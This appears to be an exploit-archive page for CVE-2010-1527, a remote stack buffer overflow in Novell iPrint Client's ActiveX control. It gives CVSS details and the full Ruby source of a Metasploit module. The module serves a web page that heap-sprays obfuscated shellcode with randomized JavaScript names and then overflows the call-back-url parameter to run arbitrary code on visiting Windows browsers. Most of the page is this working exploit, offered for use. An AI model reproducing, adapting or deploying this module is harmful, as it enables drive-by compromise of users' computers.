Novell iPrint Client ActiveX Control call-back-url Buffer Overflow Exploit (meta)

2010.09.23
Credit: Trancer
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # novelliprint_callbackurl.rb # # Novell iPrint Client ActiveX Control call-back-url Buffer Overflow exploit for the Metasploit Framework # # Exploit successfully tested on the following platforms: # - Novell iPrint Client 5.40 on Internet Explorer 7, Windows XP SP3 # - Novell iPrint Client 5.42 on Internet Explorer 7, Windows XP SP3 # - Novell iPrint Client 5.42 on Internet Explorer 7, Windows Vista SP2 # # ienipp.ocx version tested: # File Version: 5.4.0.0 and 5.4.2.0 # ClassID: 36723F97-7AA0-11D4-8919-FF2D71D0D32C # RegKey Safe for Script: True # RegKey Safe for Init: True # KillBitSet: False # # References: # - CVE-2010-1527 # - OSVDB 67411 # - http://secunia.com/secunia_research/2010-104/ - Original advisory by Carsten Eiram, Secunia Research # - http://www.exploit-db.com/exploits/15042/ - MOAUB #19 exploit # - http://www.exploit-db.com/moaub-19-novell-iprint-client-browser-plugin-call-back-url-stack-overflow/ - MOAUB #14 binary analysis # - http://www.rec-sec.com/2010/09/21/novell-iprint-callbackurl-buffer-overflow-exploit/ - Metasploit exploit by Trancer, Recognize-Security # # Trancer # http://www.rec-sec.com ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Novell iPrint Client ActiveX Control call-back-url Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow in Novell iPrint Client 5.42. When sending an overly long string to the 'call-back-url' parameter in an op-client-interface-version action of ienipp.ocx an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'Trancer <mtrancer[at]gmail.com' ], 'Version' => '$Revision:$', 'References' => [ [ 'CVE', '2010-1527' ], [ 'OSVDB', '67411'], [ 'URL', 'http://secunia.com/secunia_research/2010-104/' ], # Carsten Eiram, Secunia Research [ 'URL', 'http://www.exploit-db.com/exploits/15042/' ], # MOAUB #19 ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP0-SP2 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ] ], 'DisclosureDate' => 'Aug 20 2010', 'DefaultTarget' => 0)) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # Re-generate the payload. return if ((p = regenerate_payload(cli)) == nil) # Encode the shellcode. shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Setup exploit buffers nops = Rex::Text.to_unescape([target.ret].pack('V')) ret = [target.ret].pack('V') ret = ret * 250 blocksize = 0x40000 fillto = 500 offset = target['Offset'] # ActiveX parameters clsid = "36723F97-7AA0-11D4-8919-FF2D71D0D32C" # Randomize the javascript variable names ienipp = rand_text_alpha(rand(100) + 1) j_shellcode = rand_text_alpha(rand(100) + 1) j_nops = rand_text_alpha(rand(100) + 1) j_ret = rand_text_alpha(rand(100) + 1) j_headersize = rand_text_alpha(rand(100) + 1) j_slackspace = rand_text_alpha(rand(100) + 1) j_fillblock = rand_text_alpha(rand(100) + 1) j_block = rand_text_alpha(rand(100) + 1) j_memory = rand_text_alpha(rand(100) + 1) j_counter = rand_text_alpha(rand(30) + 2) html = %Q|<html> <script> var #{j_shellcode} = unescape('#{shellcode}'); var #{j_nops} = unescape('#{nops}'); var #{j_headersize} = 20; var #{j_slackspace} = #{j_headersize} + #{j_shellcode}.length; while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops}; var #{j_fillblock} = #{j_nops}.substring(0,#{j_slackspace}); var #{j_block} = #{j_nops}.substring(0,#{j_nops}.length - #{j_slackspace}); while (#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock}; var #{j_memory} = new Array(); for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) { #{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode}; } </script> <object classid='clsid:#{clsid}' id='#{ienipp}'> <param name='operation' value='op-client-interface-version' /> <param name='result-type' value='url' /> <param name='call-back-url' value='#{ret}' /> </object> </html>| print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response(cli, html, { 'Content-Type' => 'text/html' }) # Handle the payload handler(cli) end end

References:

http://xforce.iss.net/xforce/xfdb/61220
http://www.securityfocus.com/bid/42576
http://www.novell.com/support/viewContent.do?externalId=7006679
http://secunia.com/secunia_research/2010-104/
http://secunia.com/advisories/40805


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